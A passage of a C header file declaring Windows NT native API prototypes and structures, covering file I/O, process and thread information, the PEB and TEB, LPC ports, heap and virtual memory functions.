FileHandle,\n OUT PIO_STATUS_BLOCK IoStatusBlock,\n OUT PVOID Buffer,\n IN ULONG Length,\n IN BOOLEAN ReturnSingleEntry,\n IN PVOID EaList OPTIONAL,\n IN ULONG EaListLength,\n IN PULONG EaIndex OPTIONAL,\n IN BOOLEAN RestartScan);\n\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nNtSetEaFile(\n IN HANDLE FileHandle,\n OUT PIO_STATUS_BLOCK IoStatusBlock,\n IN PVOID Buffer,\n IN ULONG Length);\n\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nZwSetEaFile(\n IN HANDLE FileHandle,\n OUT PIO_STATUS_BLOCK IoStatusBlock,\n IN PVOID Buffer,\n IN ULONG Length);\n\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nNtReadFile(\n IN HANDLE FileHandle,\n IN HANDLE Event OPTIONAL,\n IN PIO_APC_ROUTINE ApcRoutine OPTIONAL,\n IN PVOID ApcContext OPTIONAL,\n OUT PIO_STATUS_BLOCK IoStatusBlock,\n OUT PVOID Buffer,\n IN ULONG Length,\n IN PLARGE_INTEGER ByteOffset OPTIONAL,\n IN PULONG Key OPTIONAL\n );\n\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nZwReadFile(\n IN HANDLE FileHandle,\n IN HANDLE Event OPTIONAL,\n IN PIO_APC_ROUTINE ApcRoutine OPTIONAL,\n IN PVOID ApcContext OPTIONAL,\n OUT PIO_STATUS_BLOCK IoStatusBlock,\n OUT PVOID Buffer,\n IN ULONG Length,\n IN PLARGE_INTEGER ByteOffset OPTIONAL,\n IN PULONG Key OPTIONAL\n );\n\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nNtWriteFile(\n IN HANDLE FileHandle,\n IN HANDLE Event OPTIONAL,\n IN PIO_APC_ROUTINE ApcRoutine OPTIONAL,\n IN PVOID ApcContext OPTIONAL,\n OUT PIO_STATUS_BLOCK IoStatusBlock,\n IN PVOID Buffer,\n IN ULONG Length,\n IN PLARGE_INTEGER ByteOffset OPTIONAL,\n IN PULONG Key OPTIONAL\n );\n\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nZwWriteFile(\n IN HANDLE FileHandle,\n IN HANDLE Event OPTIONAL,\n IN PIO_APC_ROUTINE ApcRoutine OPTIONAL,\n IN PVOID ApcContext OPTIONAL,\n OUT PIO_STATUS_BLOCK IoStatusBlock,\n IN PVOID Buffer,\n IN ULONG Length,\n IN PLARGE_INTEGER ByteOffset OPTIONAL,\n IN PULONG Key OPTIONAL\n );\n\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nNtDeleteFile(\n IN POBJECT_ATTRIBUTES ObjectAttributes\n );\n\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nZwDeleteFile(\n IN POBJECT_ATTRIBUTES ObjectAttributes\n );\n\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nNtFlushBuffersFile(\n IN HANDLE FileHandle,\n OUT PIO_STATUS_BLOCK IoStatusBlock\n );\n\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nZwFlushBuffersFile(\n IN HANDLE FileHandle,\n OUT PIO_STATUS_BLOCK IoStatusBlock\n );\n\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nNtDeviceIoControlFile(\n IN HANDLE FileHandle,\n IN HANDLE Event,\n IN PIO_APC_ROUTINE ApcRoutine,\n IN PVOID ApcContext,\n OUT PIO_STATUS_BLOCK IoStatusBlock,\n IN ULONG IoControlCode,\n IN PVOID InputBuffer,\n IN ULONG InputBufferLength,\n IN PVOID OutputBuffer,\n IN ULONG OutputBufferLength\n );\n\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nZwDeviceIoControlFile(\n IN HANDLE FileHandle,\n IN HANDLE Event,\n IN PIO_APC_ROUTINE ApcRoutine,\n IN PVOID ApcContext,\n OUT PIO_STATUS_BLOCK IoStatusBlock,\n IN ULONG IoControlCode,\n IN PVOID InputBuffer,\n IN ULONG InputBufferLength,\n IN PVOID OutputBuffer,\n IN ULONG OutputBufferLength\n );\n\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nNtCancelIoFile(\n IN HANDLE Filehandle,\n OUT PIO_STATUS_BLOCK IoStatusBlock\n );\n\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nZwCancelIoFile(\n IN HANDLE Filehandle,\n OUT PIO_STATUS_BLOCK IoStatusBlock\n );\n\n\nNTSYSAPI\nBOOLEAN\nNTAPI\nRtlDosPathNameToNtPathName_U (\n IN PWSTR DosPathName,\n OUT PUNICODE_STRING NtPathName,\n OUT PWSTR * NtFileNamePart OPTIONAL,\n OUT PCURDIR DirectoryInfo OPTIONAL\n );\n\n\n//-----------------------------------------------------------------------------\n// Process functions\n\n#define GDI_HANDLE_BUFFER_SIZE 34\n\n//\n// Process Information Classes\n//\n\ntypedef enum _PROCESSINFOCLASS {\n ProcessBasicInformation,\n ProcessQuotaLimits,\n ProcessIoCounters,\n ProcessVmCounters,\n ProcessTimes,\n ProcessBasePriority,\n ProcessRaisePriority,\n ProcessDebugPort,\n ProcessExceptionPort,\n ProcessAccessToken,\n ProcessLdtInformation,\n ProcessLdtSize,\n ProcessDefaultHardErrorMode,\n ProcessIoPortHandlers, // Note: this is kernel mode only\n ProcessPooledUsageAndLimits,\n ProcessWorkingSetWatch,\n ProcessUserModeIOPL,\n ProcessEnableAlignmentFaultFixup,\n ProcessPriorityClass,\n ProcessWx86Information,\n ProcessHandleCount,\n ProcessAffinityMask,\n ProcessPriorityBoost,\n ProcessDeviceMap,\n ProcessSessionInformation,\n ProcessForegroundInformation,\n ProcessWow64Information,\n ProcessImageFileName,\n ProcessLUIDDeviceMapsEnabled,\n ProcessBreakOnTermination,\n ProcessDebugObjectHandle,\n ProcessDebugFlags,\n ProcessHandleTracing,\n MaxProcessInfoClass // MaxProcessInfoClass should always be the last enum\n} PROCESSINFOCLASS;\n\n//\n// Thread Information Classes\n//\n\ntypedef enum _THREADINFOCLASS {\n ThreadBasicInformation, // ??\n ThreadTimes,\n ThreadPriority, // ??\n ThreadBasePriority, // ??\n ThreadAffinityMask, // ??\n ThreadImpersonationToken, // HANDLE\n ThreadDescriptorTableEntry, // ULONG Selector + LDT_ENTRY\n ThreadEnableAlignmentFaultFixup, // ??\n ThreadEventPair, // ??\n ThreadQuerySetWin32StartAddress, // ??\n ThreadZeroTlsCell, // ??\n ThreadPerformanceCount, // ??\n ThreadAmILastThread, // ??\n ThreadIdealProcessor, // ??\n ThreadPriorityBoost, // ??\n ThreadSetTlsArrayAddress, // ??\n MaxThreadInfoClass\n} THREADINFOCLASS;\n\n\ntypedef struct _RTL_DRIVE_LETTER_CURDIR\n{\n USHORT Flags;\n USHORT Length;\n ULONG TimeStamp;\n STRING DosPath;\n\n} RTL_DRIVE_LETTER_CURDIR, *PRTL_DRIVE_LETTER_CURDIR;\n\n\ntypedef struct _RTL_USER_PROCESS_PARAMETERS\n{\n ULONG MaximumLength; // Should be set before call RtlCreateProcessParameters\n ULONG Length; // Length of valid structure\n ULONG Flags; // Currently only PPF_NORMALIZED (1) is known:\n // - Means that structure is normalized by call RtlNormalizeProcessParameters\n ULONG DebugFlags;\n\n PVOID ConsoleHandle; // HWND to console window associated with process (if any).\n ULONG ConsoleFlags;\n HANDLE StandardInput;\n HANDLE StandardOutput;\n HANDLE StandardError;\n\n CURDIR CurrentDirectory; // Specified in DOS-like symbolic link path, ex: \"C:/WinNT/SYSTEM32\"\n UNICODE_STRING DllPath; // DOS-like paths separated by ';' where system should search for DLL files.\n UNICODE_STRING ImagePathName; // Full path in DOS-like format to process'es file image.\n UNICODE_STRING CommandLine; // Command line\n PVOID Environment; // Pointer to environment block (see RtlCreateEnvironment)\n ULONG StartingX;\n ULONG StartingY;\n ULONG CountX;\n ULONG CountY;\n ULONG CountCharsX;\n ULONG CountCharsY;\n ULONG FillAttribute; // Fill attribute for console window\n ULONG WindowFlags;\n ULONG ShowWindowFlags;\n UNICODE_STRING WindowTitle;\n UNICODE_STRING DesktopInfo; // Name of WindowStation and Desktop objects, where process is assigned\n UNICODE_STRING ShellInfo;\n UNICODE_STRING RuntimeData;\n RTL_DRIVE_LETTER_CURDIR CurrentDirectores[0x20];\n\n} RTL_USER_PROCESS_PARAMETERS, *PRTL_USER_PROCESS_PARAMETERS;\n\n//\n// Process Environment Block\n//\n\ntypedef struct _PEB_FREE_BLOCK\n{\n struct _PEB_FREE_BLOCK *Next;\n ULONG Size;\n\n} PEB_FREE_BLOCK, *PPEB_FREE_BLOCK;\n\n\ntypedef struct _PEB_LDR_DATA\n{\n ULONG Length;\n BOOLEAN Initialized;\n HANDLE SsHandle;\n LIST_ENTRY InLoadOrderModuleList; // Points to the loaded modules (main EXE usually)\n LIST_ENTRY InMemoryOrderModuleList; // Points to all modules (EXE and all DLLs)\n LIST_ENTRY InInitializationOrderModuleList;\n PVOID EntryInProgress;\n\n} PEB_LDR_DATA, *PPEB_LDR_DATA;\n\n\ntypedef struct _LDR_DATA_TABLE_ENTRY\n{\n LIST_ENTRY InLoadOrderLinks;\n LIST_ENTRY InMemoryOrderLinks;\n LIST_ENTRY InInitializationOrderLinks;\n PVOID DllBase; // Base address of the module\n PVOID EntryPoint;\n ULONG SizeOfImage;\n UNICODE_STRING FullDllName;\n UNICODE_STRING BaseDllName;\n ULONG Flags;\n USHORT LoadCount;\n USHORT TlsIndex;\n LIST_ENTRY HashLinks;\n PVOID SectionPointer;\n ULONG CheckSum;\n ULONG TimeDateStamp;\n PVOID LoadedImports;\n PVOID EntryPointActivationContext;\n PVOID PatchInformation;\n PVOID Unknown1;\n PVOID Unknown2;\n PVOID Unknown3;\n\n} LDR_DATA_TABLE_ENTRY, *PLDR_DATA_TABLE_ENTRY;\n\n\ntypedef struct _PEB\n{\n BOOLEAN InheritedAddressSpace; // These four fields cannot change unless the\n BOOLEAN ReadImageFileExecOptions; //\n BOOLEAN BeingDebugged; //\n BOOLEAN SpareBool; //\n HANDLE Mutant; // INITIAL_PEB structure is also updated.\n\n PVOID ImageBaseAddress;\n PPEB_LDR_DATA Ldr;\n PRTL_USER_PROCESS_PARAMETERS ProcessParameters;\n PVOID SubSystemData;\n PVOID ProcessHeap;\n PVOID FastPebLock;\n PVOID FastPebLockRoutine;\n PVOID FastPebUnlockRoutine;\n ULONG EnvironmentUpdateCount;\n PVOID KernelCallbackTable;\n HANDLE SystemReserved;\n PVOID AtlThunkSListPtr32;\n PPEB_FREE_BLOCK FreeList;\n ULONG TlsExpansionCounter;\n PVOID TlsBitmap;\n ULONG TlsBitmapBits[2]; // relates to TLS_MINIMUM_AVAILABLE\n PVOID ReadOnlySharedMemoryBase;\n PVOID ReadOnlySharedMemoryHeap;\n PVOID *ReadOnlyStaticServerData;\n PVOID AnsiCodePageData;\n PVOID OemCodePageData;\n PVOID UnicodeCaseTableData;\n\n //\n // Useful information for LdrpInitialize\n\n ULONG NumberOfProcessors;\n ULONG NtGlobalFlag;\n\n //\n // Passed up from MmCreatePeb from Session Manager registry key\n //\n\n LARGE_INTEGER CriticalSectionTimeout;\n ULONG HeapSegmentReserve;\n ULONG HeapSegmentCommit;\n ULONG HeapDeCommitTotalFreeThreshold;\n ULONG HeapDeCommitFreeBlockThreshold;\n\n //\n // Where heap manager keeps track of all heaps created for a process\n // Fields initialized by MmCreatePeb. ProcessHeaps is initialized\n // to point to the first free byte after the PEB and MaximumNumberOfHeaps\n // is computed from the page size used to hold the PEB, less the fixed\n // size of this data structure.\n //\n\n ULONG NumberOfHeaps;\n ULONG MaximumNumberOfHeaps;\n PVOID *ProcessHeaps;\n\n //\n //\n PVOID GdiSharedHandleTable;\n PVOID ProcessStarterHelper;\n PVOID GdiDCAttributeList;\n PVOID LoaderLock;\n\n //\n // Following fields filled in by MmCreatePeb from system values and/or\n // image header. These fields have changed since Windows NT 4.0,\n // so use with caution\n //\n\n ULONG OSMajorVersion;\n ULONG OSMinorVersion;\n USHORT OSBuildNumber;\n USHORT OSCSDVersion;\n ULONG OSPlatformId;\n ULONG ImageSubsystem;\n ULONG ImageSubsystemMajorVersion;\n ULONG ImageSubsystemMinorVersion;\n ULONG ImageProcessAffinityMask;\n ULONG GdiHandleBuffer[GDI_HANDLE_BUFFER_SIZE];\n\n} PEB, *PPEB;\n\n\n//\n// Thread environment block\n//\n\ntypedef struct _TEB\n{\n NT_TIB NtTib;\n PVOID EnvironmentPointer;\n CLIENT_ID ClientId;\n PVOID ActiveRpcHandle;\n PVOID ThreadLocalStoragePointer;\n PPEB ProcessEnvironmentBlock;\n ULONG LastErrorValue;\n ULONG CountOfOwnedCriticalSections;\n PVOID CsrClientThread;\n PVOID Win32ThreadInfo;\n // Incomplete\n\n} TEB, *PTEB;\n\n\ntypedef struct _PROCESS_BASIC_INFORMATION\n{\n NTSTATUS ExitStatus;\n PPEB PebBaseAddress;\n ULONG_PTR AffinityMask;\n KPRIORITY BasePriority;\n ULONG_PTR UniqueProcessId;\n ULONG_PTR InheritedFromUniqueProcessId;\n\n} PROCESS_BASIC_INFORMATION,*PPROCESS_BASIC_INFORMATION;\n\n\n\n#define NtCurrentProcess() ((HANDLE) -1)\n#define NtCurrentThread() ((HANDLE) -2)\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nNtOpenProcess (\n OUT PHANDLE ProcessHandle,\n IN ACCESS_MASK DesiredAccess,\n IN POBJECT_ATTRIBUTES ObjectAttributes,\n IN PCLIENT_ID ClientId OPTIONAL\n );\n\nNTSYSCALLAPI\n\tNTSTATUS\n\tNTAPI\n\tNtSuspendProcess(\n\tIN HANDLE ProcessHandle\n\t);\n\nNTSYSCALLAPI\n\tNTSTATUS\n\tNTAPI\n\tNtResumeProcess(\n\tIN HANDLE ProcessHandle\n\t);\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nNtOpenThread (\n OUT PHANDLE ThreadHandle,\n IN ACCESS_MASK DesiredAccess,\n IN POBJECT_ATTRIBUTES ObjectAttributes,\n IN PCLIENT_ID ClientId OPTIONAL\n );\n\nNTSYSAPI\n\tNTSTATUS\n\tNTAPI\n\tNtQueryInformationThread(\n\tIN HANDLE ThreadHandle,\n\tIN THREADINFOCLASS ThreadInformationClass,\n\tOUT PVOID ThreadInformation,\n\tIN ULONG ThreadInformationLength,\n\tOUT PULONG ReturnLength OPTIONAL\n\t);\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nNtQueryInformationProcess(\n IN HANDLE ProcessHandle,\n IN PROCESSINFOCLASS ProcessInformationClass,\n OUT PVOID ProcessInformation,\n IN ULONG ProcessInformationLength,\n OUT PULONG ReturnLength OPTIONAL\n );\n\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nNtSetInformationProcess (\n IN HANDLE ProcessHandle,\n IN PROCESSINFOCLASS ProcessInformationClass,\n IN PVOID ProcessInformation,\n IN ULONG ProcessInformationLength\n );\n\n//------------------------------------------------------------------------------\n// LPC Functions\n\n#define MAX_LPC_DATA 0x130 // Maximum number of bytes that can be copied through LPC\n\n// LPC connection types\ntypedef enum _LPC_TYPE\n{\n LPC_NEW_MESSAGE, // (0) A new message\n LPC_REQUEST, // (1) A request message\n LPC_REPLY, // (2) A reply to a request message\n LPC_DATAGRAM, // (3)\n LPC_LOST_REPLY, // (4)\n LPC_PORT_CLOSED, // (5) Send when port is deleted\n LPC_CLIENT_DIED, // (6) Messages to thread termination ports\n LPC_EXCEPTION, // (7) Messages to thread exception ports\n LPC_DEBUG_EVENT, // (8) Messages to thread debug port\n LPC_ERROR_EVENT, // (9) Used by NtRaiseHardError\n LPC_CONNECTION_REQUEST // (A) Used by NtConnectPort\n\n} LPC_TYPE, *PLPC_TYPE;\n\n//\n// Define header for Port Message\n//\n\ntypedef struct _PORT_MESSAGE\n{\n USHORT DataLength; // Length of data following the header (bytes)\n USHORT TotalLength; // Length of data + sizeof(PORT_MESSAGE)\n USHORT Type; // Type of the message (See LPC_TYPE enum)\n USHORT VirtualRangesOffset; // Offset of array of virtual address ranges\n CLIENT_ID ClientId; // Client identifier of the message sender\n ULONG MessageId; // Identifier of the particular message instance\n union\n {\n ULONG CallbackId; //\n ULONG ClientViewSize; // Size, in bytes, of section created by the sender\n };\n\n} PORT_MESSAGE, *PPORT_MESSAGE;\n\n//\n// Define structure for initializing shared memory on the caller's side of the port\n//\n\ntypedef struct _PORT_VIEW {\n\n ULONG Length; // Size of this structure\n HANDLE SectionHandle; // Handle to section object with\n // SECTION_MAP_WRITE and SECTION_MAP_READ\n ULONG SectionOffset; // The offset in the section to map a view for\n // the port data area. The offset must be aligned\n // with the allocation granularity of the system.\n ULONG ViewSize; // The size of the view (in bytes)\n PVOID ViewBase; // The base address of the view in the creator\n //\n PVOID ViewRemoteBase; // The base address of the view in the process\n // connected to the port.\n} PORT_VIEW, *PPORT_VIEW;\n\n//\n// Define structure for shared memory coming from remote side of the port\n//\n\ntypedef struct _REMOTE_PORT_VIEW {\n\n ULONG Length; // Size of this structure\n ULONG ViewSize; // The size of the view (bytes)\n PVOID ViewBase; // Base address of the view\n\n} REMOTE_PORT_VIEW, *PREMOTE_PORT_VIEW;\n\n/*++\n\n NtCreatePort\n ============\n\n Creates a LPC port object. The creator of the LPC port becomes a server\n of LPC communication\n\n PortHandle - Points to a variable that will receive the\n port object handle if the call is successful.\n\n ObjectAttributes - Points to a structure that specifies the object s\n attributes. OBJ_KERNEL_HANDLE, OBJ_OPENLINK, OBJ_OPENIF, OBJ_EXCLUSIVE,\n OBJ_PERMANENT, and OBJ_INHERIT are not valid attributes for a port object.\n\n MaxConnectionInfoLength - The maximum size, in bytes, of data that can\n be sent through the port.\n\n MaxMessageLength - The maximum size, in bytes, of a message\n that can be sent through the port.\n\n MaxPoolUsage - Specifies the maximum amount of NonPaged pool that can be used for\n message storage. Zero means default value.\n\n ZwCreatePort verifies that (MaxDataSize <= 0x104) and (MaxMessageSize <= 0x148).\n\n--*/\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nNtCreatePort(\n OUT PHANDLE PortHandle,\n IN POBJECT_ATTRIBUTES ObjectAttributes,\n IN ULONG MaxConnectionInfoLength,\n IN ULONG MaxMessageLength,\n IN ULONG MaxPoolUsage\n );\n\n\n/*++\n\n NtConnectPort\n =============\n\n Creates a port connected to a named port (cliend side).\n\n PortHandle - A pointer to a variable that will receive the client\n communication port object handle value.\n\n PortName - Points to a structure that specifies the name\n of the port to connect to.\n\n SecurityQos - Points to a structure that specifies the level\n of impersonation available to the port listener.\n\n ClientView - Optionally points to a structure describing\n the shared memory region used to send large amounts of data\n to the listener; if the call is successful, this will be updated.\n\n ServerView - Optionally points to a caller-allocated buffer\n or variable that receives information on the shared memory region\n used by the listener to send large amounts of data to the\n caller.\n\n MaxMessageLength - Optionally points to a variable that receives the size,\n in bytes, of the largest message that can be sent through the port.\n\n ConnectionInformation - Optionally points to a caller-allocated\n buffer or variable that specifies connect data to send to the listener,\n and receives connect data sent by the listener.\n\n ConnectionInformationLength - Optionally points to a variable that\n specifies the size, in bytes, of the connect data to send\n to the listener, and receives the size of the connect data\n sent by the listener.\n\n--*/\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nNtConnectPort(\n OUT PHANDLE PortHandle,\n IN PUNICODE_STRING PortName,\n IN PSECURITY_QUALITY_OF_SERVICE SecurityQos,\n IN OUT PPORT_VIEW ClientView OPTIONAL,\n OUT PREMOTE_PORT_VIEW ServerView OPTIONAL,\n OUT PULONG MaxMessageLength OPTIONAL,\n IN OUT PVOID ConnectionInformation OPTIONAL,\n IN OUT PULONG ConnectionInformationLength OPTIONAL\n );\n\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nZwConnectPort(\n OUT PHANDLE PortHandle,\n IN PUNICODE_STRING PortName,\n IN PSECURITY_QUALITY_OF_SERVICE SecurityQos,\n IN OUT PPORT_VIEW ClientView OPTIONAL,\n OUT PREMOTE_PORT_VIEW ServerView OPTIONAL,\n OUT PULONG MaxMessageLength OPTIONAL,\n IN OUT PVOID ConnectionInformation OPTIONAL,\n IN OUT PULONG ConnectionInformationLength OPTIONAL\n );\n\n\n/*++\n\n NtListenPort\n ============\n\n Listens on a port for a connection request message on the server side.\n\n PortHandle - A handle to a port object. The handle doesn't need\n to grant any specific access.\n\n ConnectionRequest - Points to a caller-allocated buffer\n or variable that receives the connect message sent to\n the port.\n\n--*/\n\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nNtListenPort(\n IN HANDLE PortHandle,\n OUT PPORT_MESSAGE RequestMessage\n );\n\n/*++\n\n NtAcceptConnectPort\n ===================\n\n Accepts or rejects a connection request on the server side.\n\n PortHandle - Points to a variable that will receive the port object\n handle if the call is successful.\n\n PortContext - A numeric identifier to be associated with the port.\n\n ConnectionRequest - Points to a caller-allocated buffer or variable\n that identifies the connection request and contains any connect\n data that should be returned to requestor of the connection\n\n AcceptConnection - Specifies whether the connection should\n be accepted or not\n\n ServerView - Optionally points to a structure describing\n the shared memory region used to send large amounts of data to the\n requestor; if the call is successful, this will be updated\n\n ClientView - Optionally points to a caller-allocated buffer\n or variable that receives information on the shared memory\n region used by the requestor to send large amounts of data to the\n caller\n\n--*/\n\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nNtAcceptConnectPort(\n OUT PHANDLE PortHandle,\n IN PVOID PortContext OPTIONAL,\n IN PPORT_MESSAGE ConnectionRequest,\n IN BOOLEAN AcceptConnection,\n IN OUT PPORT_VIEW ServerView OPTIONAL,\n OUT PREMOTE_PORT_VIEW ClientView OPTIONAL\n );\n\n/*++\n\n NtCompleteConnectPort\n =====================\n\n Completes the port connection process on the server side.\n\n PortHandle - A handle to a port object. The handle doesn't need\n to grant any specific access.\n\n--*/\n\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nNtCompleteConnectPort(\n IN HANDLE PortHandle\n );\n\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nZwCompleteConnectPort(\n IN HANDLE PortHandle\n );\n\n\n/*++\n\n NtRequestPort\n =============\n\n Sends a request message to a port (client side)\n\n PortHandle - A handle to a port object. The handle doesn't need\n to grant any specific access.\n\n RequestMessage - Points to a caller-allocated buffer or variable\n that specifies the request message to send to the port.\n\n--*/\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nNtRequestPort (\n IN HANDLE PortHandle,\n IN PPORT_MESSAGE RequestMessage\n );\n\n/*++\n\n NtRequestWaitReplyPort\n ======================\n\n Sends a request message to a port and waits for a reply (client side)\n\n PortHandle - A handle to a port object. The handle doesn't need\n to grant any specific access.\n\n RequestMessage - Points to a caller-allocated buffer or variable\n that specifies the request message to send to the port.\n\n ReplyMessage - Points to a caller-allocated buffer or variable\n that receives the reply message sent to the port.\n\n--*/\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nNtRequestWaitReplyPort(\n IN HANDLE PortHandle,\n IN PPORT_MESSAGE RequestMessage,\n OUT PPORT_MESSAGE ReplyMessage\n );\n\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nZwRequestWaitReplyPort(\n IN HANDLE PortHandle,\n IN PPORT_MESSAGE RequestMessage,\n OUT PPORT_MESSAGE ReplyMessage\n );\n\n\n/*++\n\n NtReplyPort\n ===========\n\n Sends a reply message to a port (Server side)\n\n PortHandle - A handle to a port object. The handle doesn't need\n to grant any specific access.\n\n ReplyMessage - Points to a caller-allocated buffer or variable\n that specifies the reply message to send to the port.\n\n--*/\n\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nNtReplyPort(\n IN HANDLE PortHandle,\n IN PPORT_MESSAGE ReplyMessage\n );\n\n/*++\n\n NtReplyWaitReplyPort\n ====================\n\n Sends a reply message to a port and waits for a reply message\n\n PortHandle - A handle to a port object. The handle doesn't need\n to grant any specific access.\n\n ReplyMessage - Points to a caller-allocated buffer or variable\n that specifies the reply message to send to the port.\n\n--*/\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nNtReplyWaitReplyPort(\n IN HANDLE PortHandle,\n IN OUT PPORT_MESSAGE ReplyMessage\n );\n\n\n/*++\n\n NtReplyWaitReceivePort\n ======================\n\n Optionally sends a reply message to a port and waits for a\n message\n\n PortHandle - A handle to a port object. The handle doesn't need\n to grant any specific access.\n\n PortContext - Optionally points to a variable that receives\n a numeric identifier associated with the port.\n\n ReplyMessage - Optionally points to a caller-allocated buffer\n or variable that specifies the reply message to send to the port.\n\n ReceiveMessage - Points to a caller-allocated buffer or variable\n that receives the message sent to the port.\n\n--*/\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nNtReplyWaitReceivePort(\n IN HANDLE PortHandle,\n OUT PVOID *PortContext OPTIONAL,\n IN PPORT_MESSAGE ReplyMessage OPTIONAL,\n OUT PPORT_MESSAGE ReceiveMessage\n );\n\n//-----------------------------------------------------------------------------\n// Heap functions\n\n#define HEAP_NO_SERIALIZE 0x00000001\n#define HEAP_GROWABLE 0x00000002\n#define HEAP_GENERATE_EXCEPTIONS 0x00000004\n#define HEAP_ZERO_MEMORY 0x00000008\n#define HEAP_REALLOC_IN_PLACE_ONLY 0x00000010\n#define HEAP_TAIL_CHECKING_ENABLED 0x00000020\n#define HEAP_FREE_CHECKING_ENABLED 0x00000040\n#define HEAP_DISABLE_COALESCE_ON_FREE 0x00000080\n#define HEAP_CREATE_ALIGN_16 0x00010000\n#define HEAP_CREATE_ENABLE_TRACING 0x00020000\n#define HEAP_MAXIMUM_TAG 0x0FFF\n#define HEAP_PSEUDO_TAG_FLAG 0x8000\n\n//\n// Data structure for heap definition. This includes various\n// sizing parameters and callback routines, which, if left NULL,\n// result in default behavior\n//\n\ntypedef struct RTL_HEAP_PARAMETERS {\n ULONG Length; //sizeof(RTL_HEAP_PARAMETERS)\n ULONG SegmentReserve;\n ULONG SegmentCommit;\n ULONG DeCommitFreeBlockThreshold;\n ULONG DeCommitTotalFreeThreshold;\n ULONG MaximumAllocationSize;\n ULONG VirtualMemoryThreshold;\n ULONG InitialCommit;\n ULONG InitialReserve;\n PVOID CommitRoutine;\n ULONG Reserved;\n} RTL_HEAP_PARAMETERS, *PRTL_HEAP_PARAMETERS;\n\n\n#define RtlProcessHeap() (HANDLE)(NtCurrentTeb()->ProcessEnvironmentBlock->ProcessHeap)\n\n\nNTSYSAPI\nHANDLE\nNTAPI\nRtlCreateHeap (\n IN ULONG Flags,\n IN PVOID BaseAddress OPTIONAL,\n IN ULONG SizeToReserve,\n IN ULONG SizeToCommit,\n IN BOOLEAN Lock OPTIONAL,\n IN PRTL_HEAP_PARAMETERS Definition OPTIONAL\n );\n\n\nNTSYSAPI\nULONG\nNTAPI\nRtlDestroyHeap (\n IN HANDLE HeapHandle\n );\n\n\nNTSYSAPI\nPVOID\nNTAPI\nRtlAllocateHeap (\n IN HANDLE HeapHandle,\n IN ULONG Flags,\n IN ULONG Size\n );\n\n\nNTSYSAPI\nBOOLEAN\nNTAPI\nRtlFreeHeap (\n IN HANDLE HeapHandle,\n IN ULONG Flags,\n IN PVOID Address\n );\n\n\nNTSYSAPI\nULONG\nNTAPI\nRtlCompactHeap (\n IN HANDLE HeapHandle,\n IN ULONG Flags\n );\n\n\nNTSYSAPI\nBOOLEAN\nNTAPI\nRtlLockHeap (\n IN HANDLE HeapHandle\n );\n\n\nNTSYSAPI\nBOOLEAN\nNTAPI\nRtlUnlockHeap (\n IN HANDLE HeapHandle\n );\n\n\nNTSYSAPI\nPVOID\nNTAPI\nRtlReAllocateHeap (\n IN HANDLE HeapHandle,\n IN ULONG Flags,\n IN PVOID Address,\n IN ULONG Size\n );\n\n\nNTSYSAPI\nULONG\nNTAPI\nRtlSizeHeap (\n IN HANDLE HeapHandle,\n IN ULONG Flags,\n IN PVOID Address\n );\n\n\nNTSYSAPI\nBOOLEAN\nNTAPI\nRtlValidateHeap (\n IN HANDLE HeapHandle,\n IN ULONG Flags,\n IN PVOID Address OPTIONAL\n );\n\n\n//-----------------------------------------------------------------------------\n// Virtual memory functions\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nNtAllocateVirtualMemory (\n IN HANDLE ProcessHandle,\n IN OUT PVOID *BaseAddress,\n IN ULONG ZeroBits,\n IN OUT PULONG RegionSize,\n IN ULONG AllocationType,\n IN ULONG Protect\n );\n\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nZwAllocateVirtualMemory (\n IN HANDLE ProcessHandle,\n IN OUT PVOID *BaseAddress,\n IN ULONG ZeroBits,\n IN OUT PULONG RegionSize,\n IN ULONG AllocationType,\n IN ULONG Protect\n );\n\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nNtFreeVirtualMemory (\n IN HANDLE ProcessHandle,\n IN OUT PVOID *BaseAddress,\n IN OUT PULONG RegionSize,\n IN ULONG FreeType\n );\n\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nZwFreeVirtualMemory (\n IN HANDLE ProcessHandle,\n IN OUT PVOID *BaseAddress,\n IN OUT PULONG RegionSize,\n IN ULONG FreeType\n );\n\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nNtReadVirtualMemory(\n IN HANDLE ProcessHandle,\n IN PVOID BaseAddress,\n OUT PVOID Buffer,\n IN ULONG NumberOfBytesToRead,\n OUT PULONG NumberOfBytesRead OPTIONAL\n );\n\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nNtWriteVirtualMemory(\n IN HANDLE ProcessHandle,\n IN PVOID BaseAddress,\n IN PVOID Buffer,\n IN ULONG NumberOfBytesToWrite,\n OUT PULONG NumberOfBytesWritten OPTIONAL\n );\n\n\n//-----------------------------------------------------------------------------\n// Section functions\n\ntypedef enum _SECTION_INHERIT\n{\n ViewShare = 1,\n ViewUnmap = 2\n\n} SECTION_INHERIT;\n\n\ntypedef enum _SECTION_INFORMATION_CLASS\n{\n SectionBasicInformation,\n SectionImageInformation\n\n} 